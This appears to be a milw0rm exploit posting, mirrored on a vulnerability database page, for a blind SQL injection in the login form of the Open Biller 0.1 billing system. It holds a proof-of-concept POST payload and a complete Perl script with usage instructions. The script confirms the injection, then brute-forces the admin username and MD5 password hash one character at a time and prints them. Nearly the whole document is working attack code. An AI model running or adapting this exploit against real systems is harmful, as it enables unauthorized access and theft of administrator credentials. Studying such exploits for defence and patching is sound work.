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Open Biller 0.1 - 'Username' Blind SQL Injection
#!/usr/bin/perl
#***********************************************************************************************
#***********************************************************************************************
#** **
#** **
#** [] [] [] [][][][> [] [] [][ ][] [] [][]] [] [> [][][][> [][][][] **
#** || || || [] [][] [] [] [] [] [] [] [] [] [] [] **
# [> [][][][] [][][][> [] [] [] [] [] [][] [] [][] [][][][> [] [] **
#** [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\
#**==[> [] [] [] [][] [] [] [][][] [] [][] [] [] [] >>--
#** [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/
# [> [[[]]] [][][][> [][] [] [][[] [[]] [][] [][][] [] [> [][][][> <][] []
#** **
#** **
#** ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O **
#** ¡PROUD TO BE SPANISH! **
#** **
#***********************************************************************************************
#***********************************************************************************************
#
#---------------------------------------------------------------------------------------------
#| (Post Form login var 'username') BLIND SQLi exploit |
#|-------------------------------------------------------------------------------------------|
#| | Open Biller 0.1 | |
#| CMS INFORMATION: ------------------------ |
#| |
#|-->WEB: http://sourceforge.net/projects/geekbill/ |
#|-->DOWNLOAD: http://sourceforge.net/projects/geekbill/ |
#|-->DEMO: N/A |
#|-->CATEGORY: CMS / Portal |
#|-->DESCRIPTION: Open Biller aims to to be a the best open source billing |
#| system on the planet.The system is written in PHP/MYSQL... |
#|-->RELEASED: 2009-05-31 |
#| |
#| CMS VULNERABILITY: |
#| |
#|-->TESTED ON: firefox 3 |
#|-->DORK: N/A |
#|-->CATEGORY: BLIND SQLi exploit |
#|-->AFFECT VERSION: CURRENT |
#|-->Discovered Bug date: 2009-06-09 |
#|-->Reported Bug date: 2009-06-09 |
#|-->Fixed bug date: N/A |
#|-->Info patch: N/A |
#|-->Author: YEnH4ckEr |
#|-->mail: y3nh4ck3r[at]gmail[dot]com |
#|-->WEB/BLOG: N/A |
#|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo. |
#|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!) |
#---------------------------------------------------------------------------------------------
#
#------------
#CONDITIONS:
#------------
#
#magic quotes=OFF
#
#---------------------------------------
#PROOF OF CONCEPT (SQL INJECTION):
#---------------------------------------
#
#POST http://[HOST]/[PATH]/index.php HTTP/1.1
#Host: [HOST]
#User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10
#Referer: http://[HOST]/[PATH]/
#
#username=%27+or+1%3D0%23&pass=1111&submit=Login
#
#username=%27+or+1%3D0%23&pass=1111&submit=Login
#
##############################################################################
##############################################################################
##**************************************************************************##
## SPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)! ##
##**************************************************************************##
##--------------------------------------------------------------------------##
##**************************************************************************##
## GREETZ TO: JosS, Ulises2k, J.McCray, Evil1 and Spanish Hack3Rs community!##
##**************************************************************************##
##############################################################################
##############################################################################
#
#
use LWP::UserAgent;
use HTTP::Request;
#Subroutines
sub lw
{
my $SO = $^O;
my $linux = "";
if (index(lc($SO),"win")!=-1){
$linux="0";
}else{
$linux="1";
}
if($linux){
system("clear");
}
else{
system("cls");
system ("title Open Biller 0.1 Blind SQL Injection Exploit");
system ("color 04");
}
}
sub request {
my $userag = LWP::UserAgent->new;
$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$request = HTTP::Request -> new(POST => $_[0]);
$request->referer($_[0]);
$request->content_type('application/x-www-form-urlencoded');
$request->content($_[1]);
my $outcode= $userag->request($request)->as_string;
#print $outcode; #--> Active this line for debugger mode
#print $request->as_string; #--> Active this line for debugger mode
return $outcode;
}
sub error {
print "\t------------------------------------------------------------\n";
print "\tWeb isn't vulnerable!\n\n";
print "\t--->Maybe:\n\n";
print "\t\t1.-Patched.\n";
print "\t\t2.-Bad path or host.\n";
print "\t\t5.-Magic quotes ON'.\n";
print "\t\tEXPLOIT FAILED!\n";
print "\t------------------------------------------------------------\n";
}
sub testedblindsql {
print "\t-----------------------------------------------------------------\n";
print "\tWEB MAYBE BE VULNERABLE!\n\n";
print "\tTested Blind SQL Injection.\n";
print "\tStarting exploit...\n";
print "\t-----------------------------------------------------------------\n\n";
}
sub helper {
print "\n\t[!!!] Open Biller 0.1 Blind SQL Injection Exploit\n";
print "\t[!!!] USAGE MODE: [!!!]\n";
print "\t[!!!] perl $0 [HOST] [PATH]\n";
print "\t[!!!] [HOST]: Web.\n";
print "\t[!!!] [PATH]: Home Path.\n";
print "\t[!!!] Example: perl $0 'www.example.com' 'demo'\n";
}
sub brute_length{
#Username length
$exit=0;
$i=0;
while($exit==0){
my $blindsql="username='+OR+1=1+AND+(SELECT+length(username)+FROM+users+WHERE+ID=1)=".$i++."#&pass=1111&submit=Login"; #injected code
$output=&request($_[0],$blindsql);
if($output =~ (/Incorrect password, please try again./)){
$exit=1;
}else{
$exit=0;
}
#This is the max length of username
if($i>60){
&error;
exit(1);
}
}
#Save column length
$length=$i-1;
print "\t<<<<<--------------------------------------------------------->>>>>\n";
print "\tLength catched!\n";
print "\tLength Username --> ".$length."\n";
print "\tWait several minutes...\n";
print "\t<<<<<--------------------------------------------------------->>>>>\n\n";
return $length;
}
sub exploiting {
#Bruteforcing values
$values="";
$k=1;
$z=45;
while(($k<=$_[1]) && ($z<=126)){
my $blindsql="username='+OR+1=1+AND+ascii(substring((SELECT+".$_[2]."+FROM+users+WHERE+ID=1),".$k.",1))=".$z."#&pass=1111&submit=Login";
$output=&request($_[0],$blindsql);
if($output =~ (/Incorrect password, please try again./))
{
$values=$values.chr($z);
$k++;
$z=45;
}
#new char
$z++;
}
return $values;
}
#Main
&lw;
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
print "\t## Open Biller 0.1 Blind SQL Injection Exploit ##\n\n";
print "\t## Blind SQL Injection Exploit ##\n\n";
print "\t## ++Conditions: magic_quotes=OFF ##\n\n";
print "\t## Author: Y3nh4ck3r ##\n\n";
print "\t## Contact:y3nh4ck3r[at]gmail[dot]com ##\n\n";
print "\t## Proud to be Spanish! ##\n\n";
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
#Init variables
my $host=$ARGV[0];
my $path=$ARGV[1];
$numArgs = $#ARGV + 1;
if($numArgs<=1)
{
&helper;
exit(1);
}
#Build uri
my $finalhost="http://".$host."/".$path."/index.php";
$finalrequest = $finalhost;
#Testing blind sql injection and magic_quotes (any error?)
$send_post1="username=%27+or+1%3D1%23&pass=1111&submit=Login";
$output1=&request($finalrequest,$send_post1);
$send_post2="username=%27+or+1%3D0%23&pass=1111&submit=Login";
$output2=&request($finalrequest,$send_post2);
if ($output1 eq $output2)
{
#Not injectable
&error;
exit(1);
}else{
#blind sql injection is available
&testedblindsql;
}
#Bruteforcing length
$length_user=&brute_length($finalrequest);
#Bruteforcing username...
$user=&exploiting($finalrequest,$length_user,'username');
#Bruteforcing password md5 hash...
$pwhash=&exploiting($finalrequest,32,'password');
#final checking
if((!$user) || (!$pwhash)){
&error;
exit(1);
}
print "\n\t\t*************************************************\n";
print "\t\t********* EXPLOIT EXECUTED SUCCESSFULLY ********\n";
print "\t\t*************************************************\n\n";
print "\t\tAdmin-username: ".$user."\n";
print "\t\tAdmin-password: ".$pwhash."\n\n";
print "\n\t\t<<----------------------FINISH!-------------------->>\n\n";
print "\t\t<<---------------Thanks to: y3nh4ck3r-------------->>\n\n";
print "\t\t<<------------------------EOF---------------------->>\n\n";
exit(1);
#Ok...all job done
# milw0rm.com [2009-06-10]Data
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10 Jun 2009 00:00Current
7.4High risk
Vulners AI Score7.4